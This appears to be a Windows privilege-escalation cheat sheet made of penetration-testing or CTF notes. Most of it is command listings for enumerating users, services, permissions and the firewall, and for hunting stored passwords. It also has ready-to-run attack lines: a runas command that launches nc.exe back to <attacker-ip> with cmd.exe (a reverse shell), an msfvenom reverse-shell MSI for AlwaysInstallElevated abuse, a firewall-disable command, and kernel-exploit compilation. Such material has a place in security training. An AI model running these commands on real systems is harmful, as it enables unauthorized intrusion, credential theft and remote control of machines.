Windows Privilege Escalation


  • OS Info Enumeration

    • systeminfo

    • hostname

    • echo %username%

    • wmic qfe -> check patches

    • wmic logicaldisk -> get other disk information

  • User Enumeration

    • whoami

    • whoami /priv -> check user privilleges

    • whoami /groups -> check user groups

    • net user -> list all users

    • net user <username> -> check groups associated with a user

    • net localgroup -> Check all the local groups available

    • net localgroup <group name> -> List the members of the given localgroup

  • Task | Service | Process Enumeration

    • sc queryex type= service (Lists all the service)

    • tasklist /SVC

    • tasklist

    • net start


    • wmic product get name, version, vendor

  • Permission Enumeration

    • C:\Program Files : icacls program_name

    • icacls root.txt /grant <username>:F (to grant permission to access file)

    • Check the PowerShell history file type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

    • Check stored usernames and passwords

      • cmdkey /list

  • Network based

    • ipconfig

    • ipconfig /all

    • arp -a

    • router print

    • netstat -ano

  • Password Hunting

    • findstr /si password *.txt *.ini *.config (try searching in different directories)
      dir /s *pass* == *cred* == *vnc* == *.config*
      dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
      where /R C:\ user.txt
      where /R C:\ *.ini

  • AV / Firewall check / Service Enumeration

sc query windefend
netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state (show firewall running or stopped)
netsh firewall show config (show firewall configuration)
netsh firewall set opmode disable # Disable firewall
  • Scheduled Tasks

schtasks /query /fo LIST /v
  • Mount Information

    • mountvol

Escalation Techniques

Service Account Priv Esc (Token Impersonation)

  • whoami /priv

Run As :

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Using runas with a provided set of credential.

runas /savecred /user:admin C:\PrivEsc\reverse.exe
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Access check :

  • accesschk.exe -ucqv [service_name] /accepteula

  • accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)

  • Find all weak folder permissions per drive.

    • accesschk.exe /accepteula -uwdqs Users c:\

    • accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\

  • Find all weak file permissions per drive.

    • accesschk.exe /accepteula -uwsv "Everyone" "C:\Program Files"

    • accesschk.exe /accepteula -uwqs Users c:\*.*

    • accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*

  • Powershell:

Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

Unquoted Service Path Privilege Escalation

PATH directories with weak permissions

C:\Temp> for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
C:\Temp> for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
C:\Temp> sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
C:\Temp> type Servicenames.txt
C:\Temp> FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
C:\Temp> FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Always Install Elevated :

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 –f msi > install.msi
C:> msiexec /quiet /qn /i install.msi

Kernel Exploits :

i686-w64-mingw32-gcc exploit.c -o exploit

or for 32 bit

i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32

Automated Enumeration Tools


EXE : (

Other : Windows Exploit Suggester (

Metasploit :

  • getsystem

  • run post/multi/recon/local_exploit_suggester

Resources :